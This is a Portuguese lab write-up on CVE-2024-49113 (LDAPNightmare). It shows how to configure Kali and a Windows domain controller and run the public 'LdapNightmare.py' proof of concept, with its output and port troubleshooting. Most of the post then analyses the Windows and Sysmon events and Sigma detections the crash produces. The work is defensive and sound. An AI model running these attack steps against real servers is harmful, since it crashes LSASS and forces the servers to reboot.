TL;DR
A vulnerabilidade CVE-2024-49113 permite ataques de negação de serviço (DoS) contra servidores Windows através da exploração do protocolo LDAP. Este artigo detalha a configuração de um ambiente de simulação, a execução da prova de conceito e a análise dos logs gerados para detectar o ataque. Foram identificados EventIDs críticos para o monitoramento, como o 1000, 1001 e 1074. A simulação ajuda na compreensão do ataque e na criação de medidas de defesa eficazes.
1. Introdução
A vulnerabilidade CVE-2024-49113, que afeta servidores Windows e controladores de domínio (DCs), permite que invasores explorem falhas no serviço LDAP, resultando assim em negação de serviço (DoS) e, potencialmente, execução remota de código (RCE), segundo a CVE-2024-49112. Embora a Microsoft tenha lançado patches de segurança para corrigir a falha, ainda é necessário estar atento à detecção e mitigação da exploração dessa vulnerabilidade em seus ambientes. Neste artigo, vamos abordar como simular a vulnerabilidade e como identificar o ataque, por meio dos logs do sistema e regras Sigma.
2. Entendendo o Ataque: Exploração da Vulnerabilidade LDAP
A CVE-2024-49113 afeta a forma como servidores Windows processam consultas LDAP maliciosas, permitindo que um atacante não autenticado execute um ataque de DoS, forçando o servidor a reiniciar. O ataque se dá ao manipular as consultas LDAP e abusar do fluxo de comunicação, desde o envio de consultas DNS até respostas LDAP maliciosas.
Resumidamente, o fluxo de ataque segue:
- O invasor envia uma solicitação DCE/RPC para a máquina do servidor da vítima.
- A vítima é acionada para enviar uma consulta SRV DNS sobre SafeBreachLabs.pro.
- O servidor DNS do Invasor responde com o nome de host da máquina e a porta LDAP do Invasor.
- A vítima envia uma solicitação NBNS de transmissão para encontrar o endereço IP do nome do host recebido (do invasor).
- O invasor envia uma resposta NBNS com seu endereço IP.
- A vítima se torna um cliente LDAP e envia uma solicitação CLDAP para a máquina do invasor.
- O invasor envia um pacote de resposta de referência CLDAP com um valor específico, resultando em LSASS para travar e forçar uma reinicialização do servidor vítima.
sequenceDiagram participant Attacker as Atacante participant Victim as Vítima participant DNS as Servidor DNS Attacker->>Victim: Envia solicitação DCE/RPC (Bind) Victim->>DNS: Consulta SRV DNS sobre _ldap._tcp.dc._msdcs.safebreachlabs.pro DNS->>Victim: Resposta SRV DNS com nome e porta LDAP do Atacante Victim->>Attacker: Solicita resolução de nome (NBNS) Attacker->>Victim: Responde com endereço IP do Atacante Victim->>Attacker: Envia solicitação CLDAP para o Atacante Attacker->>Victim: Responde com pacote CLDAP de referência Victim->>Victim: LSASS trava e força reinicialização do servidor
Para um entendimento detalhado da exploração, você pode consultar o post ofical da SafeBreachs ao final da página em referências.
3. Configurando o ambiente
Como não temos DNS público nem domínio nem nada, vamos usar o próprio domínio que a SafeBreachs usou durante a PoC para também simularmos no nosso lab.
3.1. Configurando o Kali
- No seu Kali Linux, abra a pasta
/etc/samba/smb.conf
e inclua o comando abaixo no fim da página:
1[global]
2netbios name = sbattacker
3wins support = yes
- Reinicie o serviço com o comando
sudo systemctl restart smbd
. Caso você esteja utilizando outro Linux, precisará configurar o Samba na máquina. - Agora, no seu Windows, você precisa configurar o IP do seu Kali como o DNS do servidor. Você pode incluir manual ou usar o comando:
1Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 172.16.0.250

- Você também precisa configurar o IP do seu Kali no arquivo
hosts
do Windows. Você pode incluir manual ou usar o comando:
1Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "172.16.0.250 sbattacker"
- Depois de configurado faça os testes abaixo:
1ping sbattacker # Veja se responde ao IP do seu Kali
2# Veja se responde ao sbattacker (host configurado no smb do Kali)
3nslookup -type=SRV _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.safebreachlabs.pro
4nslookup -type=SRV _ldap._tcp.dc._msdcs.safebreachlabs.pro

- Se tudo ocorreu certo, seu ambiente está pronto para ser testado:
1# No Kali execute:
2python LdapNightmare.py 172.16.0.10 -d safebreachlabs.pro # 172.16.0.10 é o IP do meu DC
3
4OUTPUT
5------
6[LDAP Nightmare:INFO] - Waiting for udp server to start...
7[LDAP Nightmare:INFO] - NetLogon connected
8[LDAP Nightmare:INFO] - Calling DsrGetDcNameEx2 now...
9[LDAP Nightmare:INFO] - Connected to 172.16.0.10:49664
10[LDAP Nightmare:INFO] - Sending DsrGetDcNameEx2 request...
11[LDAP Nightmare:INFO] - Received LDAP request from NetLogon ('172.16.0.10', 51740)
12[LDAP Nightmare:INFO] - Sending malicious LDAP response packet to ('172.16.0.10', 51740): b'0&\x02\x04\x02\x00\x00\x08e\x1e\n\x01\n\x04\x00\x04\x00\xa3\x15\x04\x13ldap://referral.com'
13[LDAP Nightmare:INFO] - Successfuly triggered the vulnerability!
3.2. Troubleshooting
No Windows Server 2019, existe a possibilidade de, ao executar o PoC, ele falhar e dar um erro de rejeição no Bind.
1impacket.dcerpc.v5.rpcrt.DCERPCException: Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported (this usually means the interface isn't listening on the given endpoint)
É provável que o NetLogon esteja sendo executado em outra porta e, para isso você precisa descobrir. Para isso execute o impacket-rpcdump @192.168.56.10
. Esse é meu IP do meu servidor Windows Server 2019. Verifique a flag ncacn_ip_tcp
que vem logo após o ncalrpc:[<id>]
. Geralmente, essa é a porta em uso do RPC no momento e então execute o script novamente: python LdapNightmare.py 192.168.56.10 -d safebreachlabs.pro -p 49154
. Caso não funcione, liste todas as portas em ncacn_ip_tcp
e teste cada uma. Irá funcionar.
1impacket-rpcdump @192.168.56.10 | grep -A 20 'netlogon.dll'
2Provider: netlogon.dll
3UUID : 12345678-1234-ABCD-EF00-01234567CFFB v1.0
4Bindings:
5 ncacn_np:\\KINGSLANDING[\pipe\lsass]
6 ncalrpc:[audit]
7 ncalrpc:[securityevent]
8 ncalrpc:[LSARPC_ENDPOINT]
9 ncalrpc:[lsacap]
10 ncalrpc:[LSA_EAS_ENDPOINT]
11 ncalrpc:[lsapolicylookup]
12 ncalrpc:[lsasspirpc]
13 ncalrpc:[protected_storage]
14 ncalrpc:[SidKey Local End Point]
15 ncalrpc:[samss lpc]
16 ncacn_ip_tcp:192.168.56.10[49667]
17 ncalrpc:[OLE21156E72BF4475299B76BA172BE1]
18 ncacn_ip_tcp:192.168.56.10[49154]
19 ncalrpc:[NTDS_LPC]
20 ncacn_http:192.168.56.10[49670]
21 ncacn_np:\\KINGSLANDING[\pipe\db6974629d3204b2]
22 ncacn_ip_tcp:192.168.56.10[49671]
4. Da detecção via logs do Windows e Sysmon
4.1. EventID’s identificados:
Abaixo, seguem alguns EventID’s que eu considerei relevante para consulta. Eles seguem a ordem em que foram gerados no meu Lab com base no EventTime
e não no EventReceivedTime
:
EventID | Channel | SourceName | EventType | Observações |
---|---|---|---|---|
1000 | Application | Application Error | ERROR | Principal evento que dá maiores detalhes sobre a falha no lsass.exe . |
1001 | Application | Windows Error Reporting | INFO | Fault bucket (Evento que detecta a falha no lsass.exe e WLDAP32.dll ). |
4624 | Security | Microsoft-Windows-Security-Auditing | AUDIT_SUCCESS | Autenticação com o ususário SYSTEM . |
10 | Microsoft-Windows-Sysmon/Operational | Microsoft-Windows-Sysmon | INFO | Evento que informa que o WerFault.exe acessou o lsass.exe . |
1074 | System | User32 | INFO | É o evento que informa que houve algum problema desconhecido e reinicia o sistema. |
22 | Microsoft-Windows-Sysmon/Operational | Microsoft-Windows-Sysmon | INFO | Mostra o nome do host e o ip consultados pelo lsass.exe . |
4.2. EventID 1000 – Application Error
Log:
1Faulting application name: lsass.exe, version: 10.0.20348.2340, time stamp: 0x343412e1
2Faulting module name: WLDAP32.dll, version: 10.0.20348.2652, time stamp: 0xdc811887
3Exception code: 0xc0000005
4Fault offset: 0x0000000000031dd3
5Faulting process id: 0x2a8
6Faulting application start time: 0x01db6394e91f2214
7Faulting application path: C:\Windows\system32\lsass.exe
8Faulting module path: C:\Windows\System32\WLDAP32.dll
9Report Id: a45f7e05-825a-4911-9637-a9cf02ed210e
10Faulting package full name:
11Faulting package-relative application ID:
Descrição: Esse evento indica que o processo lsass.exe
falhou devido a uma falha de acesso no módulo WLDAP32.dll
. O código de exceção 0xc0000005 representa um erro de STATUS_ACCESS_VIOLATION
, ou seja, o processo tentou acessar uma área de memória inválida. Link na referência.
Uma coisa curiosa que podemos notar fazer iniciar o debug do LDAP é ver tudo o que foi enviado do script para o DC, como podemos ver logo abaixo. Para ativar o modo debug, veja o link da referência.
1[0]0BD8.27C0::2025/01/10-23:57:50.464648300 [MSNT_SystemTrace]
2{
3 "EventVersion": 0,
4 "Reserved": 0,
5 "PartitionType": 0,
6 "QpcOffsetFromRoot": 0,
7 "PartitionId": "",
8 "ParentId": "",
9 "meta": {
10 "provider": "MSNT_SystemTrace",
11 "event": "PartitionInfoExtensionV2",
12 "time": "2025-01-11T02:57:50.4646483Z",
13 "cpu": 0,
14 "pid": 3032,
15 "tid": 10176,
16 "task": "EventTrace"
17 }
18}
19[1]08DC.1D74::2025/01/10-23:57:53.961263700 [Microsoft-Windows-LDAP-Client]
20{
21 "ScopeOfSearch": 0,
22 "SearchFilter": "(objectclass=*)",
23 "DistinguishedName": "",
24 "AttributeList": "supportedCapabilities",
25 "ProcessId": "0x8DC",
26 "meta": {
27 "provider": "Microsoft-Windows-LDAP-Client",
28 "event": "30v0",
29 "time": "2025-01-11T02:57:53.9612637Z",
30 "cpu": 1,
31 "pid": 2268,
32 "tid": 7540,
33 "channel": "Microsoft-Windows-LDAP-Client/Debug",
34 "keywords": "search"
35 }
36}
37[1]08DC.1D74::2025/01/10-23:57:53.961430100 [Microsoft-Windows-LDAP-Client]
38{
39 "ScopeOfSearch": 0,
40 "SearchFilter": "(objectclass=*)",
41 "DistinguishedName": "",
42 "AttributeList": "supportedSASLMechanisms",
43 "ProcessId": "0x8DC",
44 "meta": {
45 "provider": "Microsoft-Windows-LDAP-Client",
46 "event": "30v0",
47 "time": "2025-01-11T02:57:53.9614301Z",
48 "cpu": 1,
49 "pid": 2268,
50 "tid": 7540,
51 "channel": "Microsoft-Windows-LDAP-Client/Debug",
52 "keywords": "search"
53 }
54}
55[0]08DC.1D74::2025/01/10-23:57:53.966142200 [Microsoft-Windows-LDAP-Client]
56{
57 "ScopeOfSearch": 0,
58 "SearchFilter": "(objectclass=*)",
59 "DistinguishedName": "",
60 "AttributeList": "dsServiceName;isGlobalCatalogReady",
61 "ProcessId": "0x8DC",
62 "meta": {
63 "provider": "Microsoft-Windows-LDAP-Client",
64 "event": "30v0",
65 "time": "2025-01-11T02:57:53.9661422Z",
66 "cpu": 0,
67 "pid": 2268,
68 "tid": 7540,
69 "channel": "Microsoft-Windows-LDAP-Client/Debug",
70 "keywords": "search"
71 }
72}
73[1]08DC.1D74::2025/01/10-23:57:53.966891000 [Microsoft-Windows-LDAP-Client]
74{
75 "ScopeOfSearch": 0,
76 "SearchFilter": "(objectclass=*)",
77 "DistinguishedName": "CN=NTDS Settings,CN=DC01,CN=Servers,CN=CORP,CN=Sites,CN=Configuration,DC=CORP,DC=LOCAL",
78 "AttributeList": "options",
79 "ProcessId": "0x8DC",
80 "meta": {
81 "provider": "Microsoft-Windows-LDAP-Client",
82 "event": "30v0",
83 "time": "2025-01-11T02:57:53.9668910Z",
84 "cpu": 1,
85 "pid": 2268,
86 "tid": 7540,
87 "channel": "Microsoft-Windows-LDAP-Client/Debug",
88 "keywords": "search"
89 }
90}
91[1]02A0.0664::2025/01/10-23:58:13.275826200 [Microsoft-Windows-LDAP-Client]
92{
93 "ScopeOfSearch": 0,
94 "SearchFilter": "(&(DnsDomain=safebreachlabs\\2Epro)(Host=DC01)(User=sbattacker)(AAC=\\10\\00\\00\\00)(DomainGuid=\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00\\00)(NtVer=\\16\\00\\00\\01)(DnsHostName=DC01\\2ECORP\\2ELOCAL))",
95 "DistinguishedName": "",
96 "AttributeList": "Netlogon",
97 "ProcessId": "0x2A0",
98 "meta": {
99 "provider": "Microsoft-Windows-LDAP-Client",
100 "event": "30v0",
101 "time": "2025-01-11T02:58:13.2758262Z",
102 "cpu": 1,
103 "pid": 672,
104 "tid": 1636,
105 "channel": "Microsoft-Windows-LDAP-Client/Debug",
106 "keywords": "search"
107 }
108}
109[0]0928.1990::2025/01/10-23:58:17.688201100 [Microsoft-Windows-LDAP-Client]
110{
111 "ScopeOfSearch": 0,
112 "SearchFilter": "(objectCategory=*)",
113 "DistinguishedName": "CN=DNS Settings,CN=DC01,CN=Servers,CN=CORP,CN=Sites,CN=Configuration,DC=CORP,DC=LOCAL",
114 "AttributeList": "msDNS-KeymasterZones",
115 "ProcessId": "0x928",
116 "meta": {
117 "provider": "Microsoft-Windows-LDAP-Client",
118 "event": "30v0",
119 "time": "2025-01-11T02:58:17.6882011Z",
120 "cpu": 0,
121 "pid": 2344,
122 "tid": 6544,
123 "channel": "Microsoft-Windows-LDAP-Client/Debug",
124 "keywords": "search"
125 }
126}
4.3. EventID 1001 – Windows Error Reporting
Log:
1Fault bucket , type 0
2Event Name: CriticalProcessFault2
3Response: Not available
4Cab Id: 0
5
6Problem signature:
7P1: lsass.exe
8P2: 10.0.20348.2340
9P3: 343412e1
10P4: WLDAP32.dll
11P5: 10.0.20348.2652
12P6: dc811887
13P7: c0000005
14P8: 0000000000031dd3
15P9: 00000000
16P10: 0x00000000
17
18Attached files:
19
20These files may be available here:
21\\?\C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_lsass.exe_e4a209b6d398687ac0e31ecf89d9a4b69bd66_c660ab9f_19386d81-9ff6-4769-a2d5-d2efdb78fd0c
22
23Analysis symbol:
24Rechecking for solution: 0
25Report Id: a45f7e05-825a-4911-9637-a9cf02ed210e
26Report Status: 4
27Hashed bucket:
28Cab Guid: 0
Descrição: Esse evento é gerado pelo Windows Error Reporting logo após o evento 1000, para relatar o crash do processo lsass.exe
. Ele fornece detalhes adicionais e é uma continuação do evento anterior. Maiores detalhes no link da referência.
4.4. EventID 4624 – Logon bem-sucedido
Log:
1An account was successfully logged on.
2
3Subject:
4 Security ID: S-1-5-18
5 Account Name: DC01$
6 Account Domain: CORP
7 Logon ID: 0x3E7
8
9Logon Information:
10 Logon Type: 5
11 Restricted Admin Mode: -
12 Virtual Account: No
13 Elevated Token: Yes
14
15Impersonation Level: Impersonation
16
17New Logon:
18 Security ID: S-1-5-18
19 Account Name: SYSTEM
20 Account Domain: NT AUTHORITY
21 Logon ID: 0x3E7
22 Linked Logon ID: 0x0
23 Network Account Name: -
24 Network Account Domain: -
25 Logon GUID: {00000000-0000-0000-0000-000000000000}
26
27Process Information:
28 Process ID: 0x288
29 Process Name: C:\Windows\System32\services.exe
30
31Network Information:
32 Workstation Name: -
33 Source Network Address: -
34 Source Port: -
35
36Detailed Authentication Information:
37 Logon Process: Advapi
38 Authentication Package: Negotiate
39 Transited Services: -
40 Package Name (NTLM only): -
41 Key Length: 0
42
43This event is generated when a logon session is created. It is generated on the computer that was accessed.
44
45The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.
46
47The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).
48
49The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.
50
51The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.
52
53The impersonation level field indicates the extent to which a process in the logon session can impersonate.
54
55The authentication information fields provide detailed information about this specific logon request.
56 - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
57 - Transited services indicate which intermediate services have participated in this logon request.
58 - Package name indicates which sub-protocol was used among the NTLM protocols.
59 - Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
Descrição: Este evento indica que houve um logon bem-sucedido no sistema. O tipo de logon 5 corresponde a “Service Logon”, ou seja, um serviço foi iniciado no sistema. O logon foi realizado pelo próprio sistema operacional, conforme mostrado no log. O services.exe
é o processo responsável por gerenciar os serviços do Windows.
A princípio, não havia entendido o por quê de ter gerado esse evento e pensei ser apenas um falso-positivo, mas depois de ver a Call Trace do processo, eu suspeito que seja porque uma das dlls usadas é justamente o RPC, como vimos no gráfico do Tópico 2. Não tenho certeza quanto a isso, é apenas uma hipótese.

4.5. EventID 10 – Sysmon: ProcessAccess
O EventID 10 foi um evento que gerou alguns logs, sendo que dois processos acessaram o lsass.exe
, como podemos ver no exemplo abaixo:
Log1:
1# Esse é o log do processo WerFault.exe
2Process accessed:
3RuleName: technique_id=T1003,technique_name=Credential Dumping
4UtcTime: 2025-01-10 19:32:44.758
5SourceProcessGUID: {12a9cc09-75dc-6781-9900-000000002d00}
6SourceProcessId: 10948
7SourceThreadId: 4332
8SourceImage: C:\Windows\system32\WerFault.exe
9TargetProcessGUID: {12a9cc09-7353-6781-0c00-000000002d00}
10TargetProcessId: 680
11TargetImage: C:\Windows\system32\lsass.exe
12GrantedAccess: 0x1FFFFF
13CallTrace: C:\Windows\SYSTEM32\ntdll.dll+a0694|C:\Windows\SYSTEM32\ntdll.dll+dba00|C:\Windows\System32\KERNEL32.DLL+1e404|C:\Windows\System32\KERNEL32.DLL+258be|C:\Windows\system32\dbgcore.DLL+a47a|C:\Windows\system32\dbgcore.DLL+19735|C:\Windows\system32\dbgcore.DLL+12988|C:\Windows\system32\dbgcore.DLL+66a8|C:\Windows\system32\dbgcore.DLL+71b8|C:\Windows\system32\faultrep.dll+1a396|C:\Windows\system32\faultrep.dll+14ea5|C:\Windows\system32\faultrep.dll+11e8a|C:\Windows\system32\faultrep.dll+11dda|C:\Windows\system32\faultrep.dll+fd76|C:\Windows\system32\WerFault.exe+3bde1|C:\Windows\system32\WerFault.exe+79df|C:\Windows\system32\WerFault.exe+54fe1|C:\Windows\System32\KERNEL32.DLL+14cb0|C:\Windows\SYSTEM32\ntdll.dll+7eceb
14SourceUser: NT AUTHORITY\SYSTEM
15TargetUser: NT AUTHORITY\SYSTEM
Log2:
1# Esse é o log do processo svchost.exe
2Process accessed:
3RuleName: technique_id=T1003,technique_name=Credential Dumping
4UtcTime: 2025-01-10 19:32:44.298
5SourceProcessGUID: {12a9cc09-75dc-6781-9700-000000002d00}
6SourceProcessId: 3616
7SourceThreadId: 6416
8SourceImage: C:\Windows\System32\svchost.exe
9TargetProcessGUID: {12a9cc09-7353-6781-0c00-000000002d00}
10TargetProcessId: 680
11TargetImage: C:\Windows\system32\lsass.exe
12GrantedAccess: 0x1FFFFF
13CallTrace: C:\Windows\SYSTEM32\ntdll.dll+a0694|C:\Windows\System32\KERNELBASE.dll+44c6e|c:\windows\system32\wersvc.dll+1b1a4|c:\windows\system32\wersvc.dll+17cd7|c:\windows\system32\wersvc.dll+1456c|c:\windows\system32\wersvc.dll+139c1|c:\windows\system32\wersvc.dll+137b9|C:\Windows\SYSTEM32\ntdll.dll+7233|C:\Windows\SYSTEM32\ntdll.dll+bb26|C:\Windows\System32\KERNEL32.DLL+14cb0|C:\Windows\SYSTEM32\ntdll.dll+7eceb
14SourceUser: NT AUTHORITY\SYSTEM
15TargetUser: NT AUTHORITY\SYSTEM
Descrição: Esse evento foi registrado pelo Sysmon e indica que o processo WerFault.exe
tentou acessar o processo lsass.exe
com o nível de acesso 0x1FFFFF
, que corresponde a permissões totais (leitura, gravação e execução). O svchost.exe
também teve o mesmo comportamento que o evento anterior.
Quando um aplicativo ou componente do sistema falha, o WerFault.exe
é acionado para coletar informações sobre o erro e, se permitido pelo usuário, enviar esses dados para a Microsoft. Isso auxilia na melhoria contínua do Windows por meio da análise de padrões de falhas e desenvolvimento de correções.
4.6. EventID 1074 – Reinicialização iniciada pelo sistema
Log:
1The process wininit.exe has initiated the restart of computer DC01 on behalf of user for the following reason: No title for this reason could be found
2 Reason Code: 0x50006
3 Shutdown Type: restart
4 Comment: The system process 'C:\Windows\system32\lsass.exe' terminated unexpectedly with status code -1073741819. The system will now shut down and restart.
Descrição: Esse evento indica que o processo wininit.exe
iniciou a reinicialização do computador devido à falha crítica do processo lsass.exe
. O código de status -1073741819
(0xc0000005 em hexadecimal) é uma indicação de violação de acesso, ou seja, o lsass.exe
tentou acessar uma área de memória inválida e foi encerrado pelo sistema.
Apesar de eu não ter encontrado nada relacionado ao hexadecimal, deixei referências para consultas de caráter acadêmico. Outro link bastante curioso que deixei nas referência é sobre um artigo da Microsoft falando sobre o LSASS parar de responder e até reiniciar, o que me dá a entender que isso já era um problema conhecido, suposições minha.
4.2. EventID 22 – Sysmon: DNSEvent (DNS query)
Log1:
1Dns query:
2RuleName: -
3UtcTime: 2025-01-10 19:32:44.077
4ProcessGuid: {12a9cc09-7353-6781-0c00-000000002d00}
5ProcessId: 680
6QueryName: sbattacker
7QueryStatus: 0
8QueryResults: ::ffff:172.16.0.250;
9Image: C:\Windows\System32\lsass.exe
10User: NT AUTHORITY\SYSTEM
Log2:
1Dns query:
2RuleName: -
3UtcTime: 2025-01-10 19:32:44.077
4ProcessGuid: {12a9cc09-7353-6781-0c00-000000002d00}
5ProcessId: 680
6QueryName: _ldap._tcp.dc._msdcs.safebreachlabs.pro.
7QueryStatus: 0
8QueryResults: type: 33 sbattacker;
9Image: C:\Windows\System32\lsass.exe
10User: NT AUTHORITY\SYSTEM
Descrição: Este evento registrado pelo Sysmon indica que o processo lsass.exe
realizou uma consulta DNS para o domínio _ldap._tcp.dc._msdcs.safebreachlabs.pro.
. O resultado da consulta mostra que a resposta retornada foi do tipo SRV (type: 33)
, com o nome sbattacker
. O domínio consultado é externo e não deveria estar sendo acessado pelo controlador de domínio de um ambiente legítimo, imagino. Isso sugere que pode ter havido uma tentativa de redirecionamento malicioso de consultas LDAP para um servidor controlado por um atacante, que é o nosso caso. O segundo evento mostra que o processo lsass.exe
realizou uma consulta DNS para o nome sbattacker
, e a resposta foi o endereço IP 172.16.0.250. O endereço IP retornado (172.16.0.250) é a máquina Kali que está sendo usada para a simulação do ataque. Isso indica que o servidor de DNS respondeu redirecionando a consulta para o atacante, como parte da exploração da vulnerabilidade no ambiente LDAP.
5. Da detecção via Aurora
O Aurora, é uma Custom Sigma-based Endpoint Agent, uma solução criada pela Nextron Systems. É um agente de endpoint leve e personalizável baseado em Sigma.
Leia também!


A comunidade em um post no LinkedIn se movimentou e criaram uma regra Sigma para detectar eventos referente à essa CVE. O post pode ser acessado no link de referência. Apesar de ter sido criado uma regra Sigma exclusiva para esse cenário, pude perceber que outras regras capturaram os eventos e podem contribuir para detecção, conforme print abaixo:

6. Execução da PoC
7. Agradecimentos
Gostaria de tornar público a ajuda que recebi do meu colega de profissão Isaac Fernandes que me ajudou com a configuração do laboratório. Depois de, sei lá, uma semana quebrando a cabeça… O Isaac deu a call e deu bom. O resultado? Este artigo.
8. Conclusão
A vulnerabilidade CVE-2024-49113 demonstra como um atacante pode explorar uma falha no processamento de consultas LDAP em servidores Windows, resultando em uma condição de negação de serviço (DoS). Durante a exploração dessa falha, também é possível que o processo LSASS seja forçado a falhar, o que leva ao reinício do sistema. Neste artigo, mostramos como configurar um ambiente controlado para simulação do ataque, executar a prova de conceito (PoC) e identificar os principais indicadores de comprometimento (IoCs) nos logs do Windows e do Sysmon.
Além disso, o artigo forneceu um guia detalhado para a detecção da exploração com base em EventIDs relevantes. Esses eventos são essenciais para a análise forense de incidentes e ajudam na criação de regras de monitoramento em ambientes corporativos.
9. Referências
- LDAPNightmare: SafeBreach Labs Publishes First Proof-of-Concept Exploit for CVE-2024-49113
- The application or service crashing behavior troubleshooting guidance
- Descubra como o WerFault.exe funciona e como gerenciar erros no Windows
- Como ativar o log de depuração do cliente LDAP (Wldap32.dll)
- System Shutdown Reason Codes
- Não é possível entrar em um controlador de domínio e o processo LSASS para de responder
- Regra Sigma: CVE-2024-49113 Exploitation Attempt - LDAP Nightmare
- Publicação no LinkedIn de Travis Green sobre a CVE-2024-49113
- Vulnerabilidade CVE-2024-49113 LdapNightmare (Passo a passo de configuração no Lab local)
Vou ficar muito contente em receber um feedback seu.